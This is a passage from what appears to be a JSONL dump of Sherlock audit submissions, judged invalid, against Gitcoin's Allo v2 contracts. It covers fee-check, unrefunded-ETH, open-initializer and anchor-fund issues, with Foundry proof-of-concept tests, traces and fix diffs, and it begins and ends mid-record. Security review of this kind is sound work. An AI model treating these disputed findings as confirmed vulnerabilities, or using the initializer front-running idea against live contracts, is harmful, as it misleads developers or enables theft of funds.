1 ether;\n uint256 amountToFund = 2 ether;\n uint256 extraAmountToSend = 1 ether;\n uint256 percentageFee = 1e16;\n\n allo().updateBaseFee(baseFee);\n allo().updatePercentFee(percentageFee);\n\n // sending some eth to the pool admin\n vm.deal(address(pool_admin()), amountToFund + extraAmountToSend + baseFee);\n\n // sending tokens equal to _amount + baseFee\n vm.prank(pool_admin());\n vm.expectRevert(Errors.NOT_ENOUGH_FUNDS.selector);\n allo().createPoolWithCustomStrategy{value: amountToFund + baseFee}(\n poolProfile_id(), strategy, \"0x\", NATIVE, amountToFund, metadata, pool_managers()\n );\n }\n```\n\noutput:\n
\n\n```bash\nTraces:\n [382295] AlloTest::test_ShouldRevertWhenAmountEqualToBaseFeePlusAmountIsSent() \n ā”œā”€ [25669] Allo::updateBaseFee(1000000000000000000 [1e18])\n ā”‚ ā”œā”€ emit BaseFeeUpdated(baseFee: 1000000000000000000 [1e18])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [3793] Allo::updatePercentFee(10000000000000000 [1e16])\n ā”‚ ā”œā”€ emit PercentFeeUpdated(percentFee: 10000000000000000 [1e16])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::deal(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], 4000000000000000000 [4e18])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]\n ā”œā”€ [0] VM::label(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], pool_admin)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::prank(pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::expectRevert(NOT_ENOUGH_FUNDS())\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107]\n ā”œā”€ [0] VM::label(pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], pool_manager1)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f]\n ā”œā”€ [0] VM::label(pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], pool_manager2)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [319507] Allo::createPoolWithCustomStrategy{value: 3000000000000000000}(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x3078, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 2000000000000000000 [2e18], (1, strategy pointer), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [2696] 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 0x0000000000000000000000000000000000000000000000000000000000000001\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [22923] MockStrategy::initialize(1, 0x3078)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [304] MockStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 1\n ā”‚ ā”œā”€ [237] MockStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000116261736546656520746f20706179202573000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā””ā”€ ā† \"NOT_ENOUGH_FUNDS()\"\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.98ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n
\n\n#### Code snippet for the test that proves that:\n```Javascript\n function test_IncorrectCheckForBaseFeeWillCauseLoseOfFunds() public {\n uint256 baseFee = 1 ether;\n uint256 amountToFund = 2 ether;\n uint256 extraAmountToSend = 1 ether;\n uint256 percentageFee = 1e16;\n uint256 percentageFeeForTheAmount = amountToFund * percentageFee / 1e18;\n uint256 alloBalanceBefore = address(allo()).balance;\n\n allo().updateBaseFee(baseFee);\n allo().updatePercentFee(percentageFee);\n\n // sending some eth to the pool admin\n vm.deal(address(pool_admin()), amountToFund + extraAmountToSend + baseFee);\n\n // getting the balance of the treasury before pool creationg\n uint256 treasuryBalanceBefore = address(allo().getTreasury()).balance;\n\n // sending extra amount to the pool\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: amountToFund + baseFee + extraAmountToSend}(\n poolProfile_id(), strategy, \"0x\", NATIVE, amountToFund, metadata, pool_managers()\n );\n\n // calculating the allo balance after the pool is created\n uint256 alloBalanceAfter = address(allo()).balance;\n\n // getting the balance of the treasury after pool creationg\n uint256 treasuryBalanceAfter = address(allo().getTreasury()).balance;\n\n // treasury must have recieved the base fee\n assertEq(treasuryBalanceAfter - treasuryBalanceBefore, baseFee + percentageFeeForTheAmount);\n\n // strategy / pool should have received correct balance (but not the extra amount)\n assertEq(address(strategy).balance, amountToFund - percentageFeeForTheAmount);\n\n // allo should have extra amount\n assertEq(alloBalanceAfter - alloBalanceBefore, extraAmountToSend);\n }\n```\n\noutput:\n
\n\n```bash\n ā”œā”€ [399520] Allo::createPoolWithCustomStrategy{value: 4000000000000000000}(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x3078, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 2000000000000000000 [2e18], (1, strategy pointer), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [2696] 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 0x0000000000000000000000000000000000000000000000000000000000000001\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [22923] MockStrategy::initialize(1, 0x3078)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [304] MockStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 1\n ā”‚ ā”œā”€ [237] MockStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000116261736546656520746f20706179202573000000000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] console::e3849f79(00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000011cdd8c4b40352e593942e66b1cca5dc28e391b400000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 1000000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit BaseFeePaid(poolId: 1, amount: 1000000000000000000 [1e18])\n ā”‚ ā”œā”€ [0] console::e3849f79(000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000470de4df82000000000000000000000000000011cdd8c4b40352e593942e66b1cca5dc28e391b400000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 20000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] console::e3849f79(00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000001b7a5f826f460000000000000000000000000000f62849f9a0b5bf2913b396098f7c7019b51a820a00000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [40] MockStrategy::fallback{value: 1980000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [22607] MockStrategy::increasePoolAmount(1980000000000000000 [1.98e18])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit PoolFunded(poolId: 1, amount: 1980000000000000000 [1.98e18], fee: 20000000000000000 [2e16])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 1, profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, strategy: MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], token: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, amount: 2000000000000000000 [2e18], metadata: (1, strategy pointer))\n ā”‚ ā””ā”€ ā† 1\n ā”œā”€ [399] Allo::getTreasury() [staticcall]\n ā”‚ ā””ā”€ ā† allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4]\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.70ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n
\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe following check should be used\n```diff\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/083.md"}} +{"title":"Extra ETH sent to fundPool will neither be refunded nor be accounted for.","severity":"info","body":"Suave Crimson Peacock\n\nmedium\n\n# Extra ETH sent to fundPool will neither be refunded nor be accounted for.\nThe Extra ether that will be sent to the `fundPool` when funding a pool, will not be refunded to the user (funder) and will also not be accounted in the deposited ETH.\n\n## Vulnerability Detail\n\n`Allo::FundPool()` function (shown below) takes two parameters, `_poolId` of pool we want to fund and `_amount`. \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345\n\nThen this function calls `Allo::_fundPool()` internal function to actually transfer the fund that deduct `percentFee` for each deposit and send that fee to `treasury` and the tokens equals to `_amount` will be deposited in the `strategy` or `pool`. \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520\n\nBut there is a problem with the function. When a user (funder) tries to transfer the funds to the pool with ETH, there are chances that he might transfer some extra amount to the pool mistakenly or there are chances that user wants ETH equals to `_amount` should be deposited in the pool and wants to send extra token that can cover the `percentFee`. And this `percentFee` is not an actual amount but a percentage of the amount. So It will be calculated using the below formula:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L510-L510\n\nBut this extra ETH will neither be refunded to him nor it will be deposited in the `pool` as the `Allo::_fundPool()` function only send `_amount` of ETH to the pool after deducting the fee as shown below:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L516\n\nThat extra Amount will remain inside the `Allo` contract as there is no refund done after transferring amount to the pool.\nThe same thing can also happen when deploying the pool.\n\n## Impact\n\nUser will loose their funds.\n\n## Code Snippet\n#### Test1: Funding pool with `Allo::fundPool()` with extra fund\n```Javascript\n function test_ExtraETHSentToPoolWillNotBeRefundedOrAccountedForUser() public {\n vm.prank(pool_admin());\n uint256 poolId = allo().createPoolWithCustomStrategy{value: 0}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n\n uint256 amountToFund = 2 ether;\n uint256 baseFee = 0;\n uint256 percentageFee = 1e16;\n uint256 percentageFeeForTheAmount = amountToFund * percentageFee / 1e18;\n \n // allo contract balance before the transfer\n uint256 alloBalanceBefore = address(allo()).balance;\n\n // amount of ether use will have\n uint256 userBalance = 3 ether;\n\n // setting base fee to zero for the ease of calculation and clarity\n allo().updateBaseFee(baseFee);\n allo().updatePercentFee(percentageFee);\n\n // creating user who wants to send the amount\n address user = makeAddr(\"user\");\n\n // sending eth to the user\n vm.deal(user, userBalance);\n\n // sending eth to the pool\n // assumption: user send more as value than the amount to fund\n vm.prank(user);\n allo().fundPool{value: userBalance}(poolId, amountToFund);\n\n // balance after the pool is funded\n uint256 alloBalanceAfter = address(allo()).balance;\n\n // checking that the pool has the correct amount\n assertEq(address(strategy).balance, amountToFund - percentageFeeForTheAmount);\n\n // The allo must have the extra amount\n assertEq(alloBalanceAfter - alloBalanceBefore, userBalance - amountToFund);\n }\n```\n\n output: \n```bash\n ā”œā”€ [96124] Allo::fundPool{value: 3000000000000000000}(1, 2000000000000000000 [2e18])\n ā”‚ ā”œā”€ [0] console::e3849f79(000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000470de4df82000000000000000000000000000011cdd8c4b40352e593942e66b1cca5dc28e391b400000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall] \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 20000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] console::e3849f79(00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000001b7a5f826f460000000000000000000000000000f62849f9a0b5bf2913b396098f7c7019b51a820a00000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall] \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [40] MockStrategy::fallback{value: 1980000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [22607] MockStrategy::increasePoolAmount(1980000000000000000 [1.98e18])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit PoolFunded(poolId: 1, amount: 1980000000000000000 [1.98e18], fee: 20000000000000000 [2e16])\n ā”‚ ā””ā”€ ā† ()\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.30ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n#### Test2: Showing extra amount sent will not be accounted for during the pool creation as well\n```Javascript\n function test_ExtraETHSentDuringForPoolCreationWillBeUnaccounted() public {\n uint256 baseFee = 0;\n uint256 amountToFund = 2 ether;\n uint256 extraAmount = 2 ether;\n uint256 percentageFee = 1e16;\n uint256 percentageFeeForTheAmount = amountToFund * 1e16 / 1e18;\n uint256 alloBalanceBefore = address(allo()).balance;\n\n allo().updateBaseFee(baseFee);\n allo().updatePercentFee(percentageFee);\n\n // sending some eth to the pool admin\n vm.deal(address(pool_admin()), amountToFund + extraAmount);\n\n // sending extra amount to the pool\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: amountToFund + extraAmount}(\n poolProfile_id(), strategy, \"0x\", NATIVE, amountToFund, metadata, pool_managers()\n );\n\n // calculating the allo balance after the pool is created\n uint256 alloBalanceAfter = address(allo()).balance;\n\n // checking that the pool has the correct amount\n assertEq(address(strategy).balance, amountToFund - percentageFeeForTheAmount);\n\n // allo should ahve extra amount\n assertEq(alloBalanceAfter - alloBalanceBefore, extraAmount);\n }\n```\n\nOutput: \n```bash\n ā”œā”€ [393435] Allo::createPoolWithCustomStrategy{value: 4000000000000000000}(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x3078, 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, 2000000000000000000 [2e18], (1, strategy pointer), [0x05800FAD118693c398e4E1ceFBb1FAC54537b107, 0xF49D32655a289163297342376EA91F6434cff60f])\n ā”‚ ā”œā”€ [2696] 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f::isOwnerOrMemberOfProfile(0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019]) [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 0x0000000000000000000000000000000000000000000000000000000000000001\n ā”‚ ā”œā”€ emit RoleGranted(role: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1, account: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleAdminChanged(role: 0x0000000000000000000000000000000000000000000000000000000000000001, previousAdminRole: 0x0000000000000000000000000000000000000000000000000000000000000000, newAdminRole: 0xd866368887d58dbdd097c420fb7ec3bf9a28071e2c715e21155ba472632c67b1)\n ā”‚ ā”œā”€ [22923] MockStrategy::initialize(1, 0x3078)\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [304] MockStrategy::getPoolId() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† 1\n ā”‚ ā”œā”€ [237] MockStrategy::getAllo() [staticcall]\n ā”‚ ā”‚ ā””ā”€ ā† Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager1: [0x05800FAD118693c398e4E1ceFBb1FAC54537b107], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ emit RoleGranted(role: 0x0000000000000000000000000000000000000000000000000000000000000001, account: pool_manager2: [0xF49D32655a289163297342376EA91F6434cff60f], sender: pool_admin: [0x6E1FEb7a47a8A2C71E61BA8e3c4D5243CB392019])\n ā”‚ ā”œā”€ [0] console::e3849f79(000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000470de4df82000000000000000000000000000011cdd8c4b40352e593942e66b1cca5dc28e391b400000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall] \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] allo_treasury::fallback{value: 20000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [0] console::e3849f79(00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000001b7a5f826f460000000000000000000000000000f62849f9a0b5bf2913b396098f7c7019b51a820a00000000000000000000000000000000000000000000000000000000000000145472616e73666572696e6720257320746f202573000000000000000000000000) [staticcall] \n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [40] MockStrategy::fallback{value: 1980000000000000000}()\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ [22607] MockStrategy::increasePoolAmount(1980000000000000000 [1.98e18])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit PoolFunded(poolId: 1, amount: 1980000000000000000 [1.98e18], fee: 20000000000000000 [2e16])\n ā”‚ ā”œā”€ emit PoolCreated(poolId: 1, profileId: 0xb3c8f868e0a570b26fec0dcc52d639611aeb5fe816154b3054f3eb4402def182, strategy: MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], token: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, amount: 2000000000000000000 [2e18], metadata: (1, strategy pointer))\n ā”‚ ā””ā”€ ā† 1\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.38ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThere are two ways to solve this:\n1. Refund back the extra ETH that user sent.\n\nfor example:\n```diff\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n uint256 balanceAfter;\n+ if(_token == NATIVE){\n+ balanceAfter = msg.value - _amount - baseFee;\n+\n+ if(balanceAfter > 0){\n+ _transferAmount(_token, msg.sender, balanceAfter);\n+ }\n+ }\n \n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n2. Deposit the extra amount in the pool\nfor example:\n```diff\n function fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // if amount is 0, revert with 'NOT_ENOUGH_FUNDS()' error\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n\n+ Pool storage pool = pools[_poolId];\n+ address _token = pool.token;\n\n // Call the internal fundPool() function\n- _fundPool(_amount, _poolId, pools[_poolId].strategy);\n\n+ if(_token == NATIVE)\n+ _fundPool(msg.value, _poolId, pools[_poolId].strategy);\n+ else\n+ _fundPool(_amount, _poolId, pools[_poolId].strategy);\n \n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/081.md"}} +{"title":"`initialize()` in `Allo.sol` contract should be called by contract owner as per readme documentation","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# `initialize()` in `Allo.sol` contract should be called by contract owner as per readme documentation\nAnyone can initialize the `Allo.sol` contract and become the owner\n\n## Vulnerability Detail\n## Impact\n\nIn `Allo.sol`, `initialize()` function is used to initialize the `Allo.sol` contract.\n\n```Solidity\nFile: allo-v2/contracts/core/Allo.sol\n\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n }\n```\n\nThe function can only be called as it has used openzeppelin initializer modifier but the issue is that anyone can call this function and become the owner due to below code\n\n```Solidity\n _initializeOwner(msg.sender);\n```\n\nA malicious attacker can use fake `registry` and `treasury` addresses and can be initialized the contract by front running the transaction. A deniel of service can also happen if the attacker repeatedly performs the initialization of `Allo.sol` by paying higher gas and wont let to allow the actual owners to initialize it.\n\n**Per contest readme Allo documentation**\n\n> The contract has an initialize function that initializes the contract after an upgrade.\nThe function takes _registry, _treasury, _percentFee, and _baseFee as parameters and sets various contract parameters, such as treasury, registry, percentage fee, and base fee.\nThis function can only be called by the contract owner.\n\nNow, check this line,\n> This function can only be called by the contract owner.\n\nHere, it clearly mentions that the `initialize()` must only be called be contract owner, However this is missing in current implementation. This must be ensured in `Allo.sol` `initialize()` function.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87\n\n## Tool used\nManual Review\n\n## Recommendation\nAllow the contract owner to `initialize()` the `Allo.sol` contract per the contest readme documentation.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/080.md"}} +{"title":"Registry.updateProfileName() fails to transfer funds from the old anchor to the new one, as a result, funds might be lost in the old anchor.","severity":"info","body":"Fresh Indigo Platypus\n\nhigh\n\n# Registry.updateProfileName() fails to transfer funds from the old anchor to the new one, as a result, funds might be lost in the old anchor.\n``Registry.updateProfileName()`` fails to transfer funds from the old anchor to the new one, as a result, funds might be lost in the old anchor. \n\n## Vulnerability Detail\nThe anchor of a profile allows the profile owner to use the anchor as a proxy contract to receive funds and call transactions. \n\nThe owner of a profile can call ``Registry.updateProfileName()`` to change the name of a profile and create a new anchor for the profile. \n\n[https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Registry.sol#L177-L203](https://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Registry.sol#L177-L203)\n\nThe new anchor will be assigned to ``profile.anchor`` and the existing anchor-to-profile mapping ``anchorToProfileId[Oldanchor]`` will be cleared for the old anchor. Therefore, the registry will lose track of the old anchor. Meanwhile, ``Registry.updateProfileName()`` fails to transfer funds from the old anchor to the new one. As a result, funds will be lost in the old anchor. \n\nWhat should be done is: when ``Registry.updateProfileName()`` is called, native tokens should be transferred from the old anchor to the new one!\n\n## Impact\n``Registry.updateProfileName()`` fails to transfer funds from the old anchor to the new one, funds might be lost in the old anchor. \n\n## Code Snippet\n\n## Tool used\nVSCode\n\nManual Review\n\n## Recommendation\n``Registry.updateProfileName()`` needs to transfer funds from the old anchor to the new one. A function ``recoverFunds()`` is added to Anchor to achieve this:\n\n```diff\n function updateProfileName(bytes32 _profileId, string memory _name)\n external\n onlyProfileOwner(_profileId)\n returns (address anchor)\n {\n // Generate a new anchor address\n anchor = _generateAnchor(_profileId, _name);\n\n // Get the profile using the profileId from the mapping\n Profile storage profile = profilesById[_profileId];\n\n // 